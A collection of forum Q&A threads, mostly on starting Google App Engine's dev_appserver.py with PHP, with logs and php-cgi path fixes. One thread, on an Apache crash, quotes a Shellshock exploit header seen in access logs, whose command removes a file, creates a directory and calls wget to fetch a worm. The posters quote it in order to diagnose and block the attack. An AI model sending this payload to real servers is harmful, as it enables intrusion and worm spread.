I'm going through the helloworld tutorial for Google App Engine using PHP (https://developers.google.com/appengine/docs/php/gettingstarted/helloworld). After getting the application set up and ready to go the tutorial tells me to start the web server included with the Google App Engine SDK using the command: google_appengine/dev_appserver.py --php_executable_path= helloworld/. How exactly do I start the web server and where do I put that command in?
After you install the SDK on your machine you'll have a google_appengine directory. I run Windows so mine is located at:
C:\Program Files (x86)\Google\google_appengine
Inside that directory is a python script called "dev_appserver.py" which is what the tutorial wants you to run. Your local machine should also have PHP installed and the script is looking for the location to that since it would be something you'd install yourself.
You'll execute this script from whatever local command line application your OS has (shell for Linux, terminal in Mac, Command Prompt or Powershell in Windows).
I execute mine from the folder one level above my GAE application is stored. To ensure you can properly execute this command, run it with no parameters and you should see this:
python "C:\Program Files (x86)\Google\google_appengine\dev_appserver.py"
Output:
usage: dev_appserver.py [-h] [--host HOST] [--port PORT]
[--admin_host ADMIN_HOST] [--admin_port ADMIN_PORT]
[--auth_domain AUTH_DOMAIN] [--storage_path PATH]
[--log_level {debug,info,warning,critical,error}]
[--max_module_instances MAX_MODULE_INSTANCES]
[--use_mtime_file_watcher [USE_MTIME_FILE_WATCHER]]
[--threadsafe_override THREADSAFE_OVERRIDE]
[--php_executable_path PATH]
[--php_remote_debugging [PHP_REMOTE_DEBUGGING]]
[--python_startup_script PYTHON_STARTUP_SCRIPT]
[--python_startup_args PYTHON_STARTUP_ARGS]
[--blobstore_path BLOBSTORE_PATH]
[--mysql_host MYSQL_HOST] [--mysql_port MYSQL_PORT]
[--mysql_user MYSQL_USER]
[--mysql_password MYSQL_PASSWORD]
[--mysql_socket MYSQL_SOCKET]
[--datastore_path DATASTORE_PATH]
[--clear_datastore [CLEAR_DATASTORE]]
[--datastore_consistency_policy {consistent,random,time}]
[--require_indexes [REQUIRE_INDEXES]]
[--auto_id_policy {sequential,scattered}]
[--logs_path LOGS_PATH]
[--show_mail_body [SHOW_MAIL_BODY]]
[--enable_sendmail [ENABLE_SENDMAIL]]
[--smtp_host SMTP_HOST] [--smtp_port SMTP_PORT]
[--smtp_user SMTP_USER]
[--smtp_password SMTP_PASSWORD]
[--prospective_search_path PROSPECTIVE_SEARCH_PATH]
[--clear_prospective_search [CLEAR_PROSPECTIVE_SEARCH]]
[--search_indexes_path SEARCH_INDEXES_PATH]
[--clear_search_indexes [CLEAR_SEARCH_INDEXES]]
[--enable_task_running [ENABLE_TASK_RUNNING]]
[--allow_skipped_files [ALLOW_SKIPPED_FILES]]
[--api_port API_PORT]
[--automatic_restart [AUTOMATIC_RESTART]]
[--dev_appserver_log_level {debug,info,warning,critical,error}]
[--skip_sdk_update_check [SKIP_SDK_UPDATE_CHECK]]
[--default_gcs_bucket_name DEFAULT_GCS_BUCKET_NAME]
yaml_files [yaml_files ...]
dev_appserver.py: error: too few arguments
My command to get this working properly was:
python "C:\Program Files (x86)\Google\google_appengine\dev_appserver.py" --port 8082 --admin_port 8083 --php_executable_path "C:\Program Files (x86)\NuSphere\PhpED\php54\php-cgi.exe" helloworld\
I got this output in Powershell and was able to hit the local url and see "Hellow, World!"
INFO 2013-10-22 16:04:27,039 sdk_update_checker.py:245] Checking for updates to the SDK.
INFO 2013-10-22 16:04:28,368 sdk_update_checker.py:261] Update check failed: HTTP Error 404: Not Found
WARNING 2013-10-22 16:04:28,398 api_server.py:332] Could not initialize images API; you are likely missing the Python "PIL" module.
INFO 2013-10-22 16:04:28,405 api_server.py:139] Starting API server at: http://localhost:52150
INFO 2013-10-22 16:04:28,408 dispatcher.py:171] Starting module "default" running at: http://localhost:8082
INFO 2013-10-22 16:04:28,411 admin_server.py:117] Starting admin server at: http://localhost:8083
INFO 2013-10-22 16:04:31,980 module.py:608] default: "GET / HTTP/1.1" 200 13
INFO 2013-10-22 16:04:32,223 module.py:608] default: "GET /favicon.ico HTTP/1.1" 200 13
The Google cloud SDK comes with a Launcher in which you could add project files and examine the logs in the GUI. I used python code here but it should behave the same with php.
Go to Google App Engine Launcher -> Select File -> Add Existing Application -> Browse and select the root directory of your PHP/Python/Java/Go application -> Add -> Click Run button -> Click Logs
2014-12-30 01:02:57 Running command: "['C:\\Users\\gung13\\Anaconda\\pythonw.exe', 'C:\\Program Files\\Google\\Cloud SDK\\google-cloud-sdk\\platform\\google_appengine\\dev_appserver.py', '--skip_sdk_update_check=yes', '--port=9080', '--admin_port=8001', u'C:\\Users\\gung13\\Desktop\\appengine-try-python-flask']"
INFO 2014-12-30 01:02:57,874 devappserver2.py:745] Skipping SDK update check.
INFO 2014-12-30 01:02:57,903 api_server.py:172] Starting API server at: http://localhost:62234
INFO 2014-12-30 01:02:57,905 dispatcher.py:186] Starting module "default" running at: http://localhost:9080
INFO 2014-12-30 01:02:57,907 admin_server.py:118] Starting admin server at: http://localhost:8001
INFO 2014-12-30 01:03:21,677 module.py:718] default: "GET / HTTP/1.1" 200 13
INFO 2014-12-30 01:03:21,986 module.py:718] default: "GET /favicon.ico HTTP/1.1" 404 27
Related
I was following the tutorial on Google cloud platform to run the local server for the hello-world app, and using the dev_appserver.py command, however, the terminal complain with the message as below:
$ dev_appserver.py .
INFO 2016-10-22 21:59:53,084 devappserver2.py:769] Skipping SDK update check.
INFO 2016-10-22 21:59:53,129 api_server.py:205] Starting API server at: http://localhost:56857
INFO 2016-10-22 21:59:53,133 dispatcher.py:197] Starting module "default" running at: http://localhost:8080
INFO 2016-10-22 21:59:53,137 admin_server.py:116] Starting admin server at: http://localhost:8000
ERROR 2016-10-22 21:59:54,141 php_runtime.py:348] The PHP runtime is not available
Traceback (most recent call last):
File "/Users/Dale/google-cloud-sdk/platform/google_appengine/google/appengine/tools/devappserver2/php_runtime.py", line 344, in new_instance
self._check_binaries(php_executable_path, gae_extension_path)
File "/Users/Dale/google-cloud-sdk/platform/google_appengine/google/appengine/tools/devappserver2/php_runtime.py", line 265, in _check_binaries
raise _PHPBinaryError('The development server must be started with the '
_PHPBinaryError: The development server must be started with the --php_executable_path flag set to the path of the php-cgi binary.
what does the complain mean? Is there anything wrong with the php_runtime.py? and how can i set it straight? Thank you so much.
If you're on a Mac, you need to run this command:
gcloud components install app-engine-php-darwin
If you're on Linux, you need to provide --php_executable_path as the error message states.
I follow this link :
https://cloud.google.com/appengine/docs/php/#creating_a_simple_request_handler
I downloaded sdk and create helloworld folder and contains. Then i run this code :
/google_appengine/dev_appserver.py /helloworld
Then output is :
INFO 2015-12-30 08:10:02,546 sdk_update_checker.py:229] Checking for updates to the SDK.
INFO 2015-12-30 08:10:02,722 sdk_update_checker.py:257] The SDK is up to date.
WARNING 2015-12-30 08:10:02,749 simple_search_stub.py:1126] Could not read search indexes from /tmp/appengine.helloworld.root/search_indexes
INFO 2015-12-30 08:10:02,752 api_server.py:205] Starting API server at: http://localhost:55572
INFO 2015-12-30 08:10:02,754 dispatcher.py:197] Starting module "default" running at: http://localhost:8080
INFO 2015-12-30 08:10:02,755 admin_server.py:116] Starting admin server at: http://localhost:8000
ERROR 2015-12-30 08:10:03,757 php_runtime.py:348] The PHP runtime is not available
Traceback (most recent call last):
File"/google_appengine/google/appengine/tools/devappserver2/php_runtime.py",
line 344, in new_instance self._check_binaries(php_executable_path, gae_extension_path)
File"/google_appengine/google/appengine/tools/devappserver2/php_runtime.py",
line 265, in _check_binaries raise _PHPBinaryError('The development server must be started with the 'PHPBinaryError: The development server must be started with the --php_executable_path flag set to the path of the php-cgi binary.
passing --skip_sdk_update_check=true and --php_executable_path=/usr/bin/php-cgi might be required. despite the screenshot reads "App Engine for PHP", it's the python-appengine utilizing one PHP-CGI executable.
the launch command (PHP 7.0 locally):
/usr/bin/python /usr/lib64/google-cloud-sdk/platform/google_appengine/dev_appserver.py --php_remote_debugging=yes --host=127.0.0.1 --port=8081 --skip_sdk_update_check=true --php_executable_path=/usr/bin/php-cgi
Hi Friends,
I am using Ampps server with php 5.3.29 in windows server datacenter.
unfortunately i am getting the following prompt in windows server and my site down.
Prompt title:
Microsoft windows
Prompt Message:
Apache http server has stopped working.
A problem caused the program to stop working correctly. windows will close the program and notify you if a solution is available.
Trace:
When i tracing error and access logs, i found the following logs as the cause.
In Apache access log:
202.175.83.36 - - [10/Dec/2014:05:58:50 -0500] "GET /cgi-bin/authLogin.cgi HTTP/1.1" 404 1335
217.248.177.30 - - [10/Dec/2014:06:11:24 -0500] "GET /cgi-bin/authLogin.cgi HTTP/1.1" 404 1335
209.153.244.6 - - [10/Dec/2014:07:09:17 -0500] "GET /cgi-bin/authLogin.cgi HTTP/1.1" 404 1335
81.214.132.245 - - [10/Dec/2014:07:25:04 -0500] "GET /cgi-bin/authLogin.cgi HTTP/1.1" 404 1335
In Apache error log:
[Wed Dec 10 07:25:04.401073 2014] [cgi:error] [pid 2908:tid 1168] [client 81.214.132.245:36246] script not found or unable to stat: D:/Program Files/Ampps/www/cgi-bin/authLogin.cgi
Please help me.
There is a Web bot trying to get authority so it can wget and execute something like S0.py, which I imagine is a worm so the download server is compromised.
Id like a copy of S0.sh if you happen to get one give it to exploit-db or something like it.
The clever command is:
Get /cgi-bin/authLogin.cgi HTTP/1.1.Host: 127.0.0.1.User-Agent:() { :; }; /bin/rm -rf /tmp/S0.sh && /bin/mkdir -p /share/HDB_DATA/.../php && /usr/bin/wget
The file is executed following download.
I suppose there's something about HDB_DATA, which I don't even have.
"Information is Paramount!"
If you try to open this file, what happens?
D:/Program Files/Ampps/www/cgi-bin/authLogin.cgi
The message indicates that the file does not exist, as indicated by the 404 error and the message "script not found".
Finally i denied those client to access the cgi-bin directory.
in cgi-bin directory i created a .htaccess file
I added following line in .htaccess
Deny From all.
I don't think authLogin.cgi really matters other than it might allow someone to execute. The problem is that the user tries to or successfully removes /tmp/S0.sh and make a directory php in the share folder and then execute wget.
/bin/rm -rf /tmp/S0.sh && /bin/mkdir -p /share/HDB_DATA/.../php && /usr/bin/wget
Here is what came up after all that time of wondering:
http://jrnerqbbzrq.blogspot.com/2014/12/a-little-shellshock-fun.html
"S0.sh consists of two main parts ... the first part does the initial setup and downloads additional programs, and then the second part installs the worm and executes some additional commands."
So it was a real treat catching this action and initially no one knew to call it Shellshock. There is a copy of S0.sh there and you can see it's a worm, which I presumed was the case.
From what I read the worm is just browsing the IP space looking for anyone listening to port 8080.
I followed this tutorial to set up Wordpress on Google App Engine:
http://googlecloudplatform.github.io/appengine-php-wordpress-starter-project/
I run the application in the GAE Launcher, then go to this address:
http://localhost:8080/wp-admin/install.php
This should run the Wordpress installer. However, it simply displays "Hello world!"
Here is the Launcher log:
*** Running dev_appserver with the following flags:
--skip_sdk_update_check=yes --port=8080 --admin_port=8000
Python command: /usr/bin/python2.7
INFO 2014-09-23 22:06:18,670 devappserver2.py:725] Skipping SDK update check.
WARNING 2014-09-23 22:06:18,673 api_server.py:383] Could not initialize images API; you are likely missing the Python "PIL" module.
INFO 2014-09-23 22:06:18,676 api_server.py:171] Starting API server at: http://localhost:52328
INFO 2014-09-23 22:06:18,680 dispatcher.py:183] Starting module "default" running at: http://localhost:8080
INFO 2014-09-23 22:06:18,684 admin_server.py:117] Starting admin server at: http://localhost:8000
INFO 2014-09-23 22:06:38,979 module.py:652] default: "GET /wp-admin/install.php HTTP/1.1" 200 12
It sounds like instead of finding the correct project in the starter project folder, it created a new project (the "Hello world!" you see is the default when you create a new project with no content), possibly in a subdirectory of your starter project folder. Try removing your project from the app engine launcher, and then dragging the folder with the project files into the app engine launcher project list pane (which should cause it to be created as a project).
I have installed the WordPress, MySQL,PHP SDK on Linux (Ubuntu 13.10) and configure everything according to google-appengine-help-page
But, I can't access the wordpress in local environment also after the deployment.
when I run the following, in the terminal, from my home directory, where APPLICATION_DIRECTORY IS prsent
google_appengine/dev_appserver.py APPLICATION_DIRECTORY
I get error , the output is....
INFO 2014-04-14 05:55:59,407 sdk_update_checker.py:242] Checking for updates to the SDK.
INFO 2014-04-14 05:56:00,904 sdk_update_checker.py:258] Update check failed: HTTP Error 404: Not Found
INFO 2014-04-14 05:56:00,927 api_server.py:171] Starting API server at: http://localhost:44134
INFO 2014-04-14 05:56:00,952 dispatcher.py:182] Starting module "default" running at: http://localhost:8080
ERROR 2014-04-14 05:56:00,953 php_runtime.py:223] The PHP runtime is not available
Traceback (most recent call last):
File "/home/hkc/google_appengine/google/appengine/tools/devappserver2/php_runtime.py", line 219, in new_instance
self._check_environment(php_executable_path)
File "/home/hkc/google_appengine/google/appengine/tools/devappserver2/php_runtime.py", line 148, in _check_environment
'flag (%s) does not exist.' % php_executable_path)
_PHPBinaryError: The path specified with the --php_executable_path flag () does not exist.
INFO 2014-04-14 05:56:00,954 admin_server.py:117] Starting admin server at: http://localhost:8000
The error shows that php_executable_path does not exist. I have the php-5.4.25, google-appengine, APPLICATION_DIRECTORY all under my, home directory.
When I open localhost:8080 (added http:// before that), it shows,
The path specified with the --php_executable_path flag () does not exist.
How can I correct this ?
The --php_executable_path should point to a php-cgi installed with Ubuntu. This is likely somewhere like /usr/bin/php5-cgi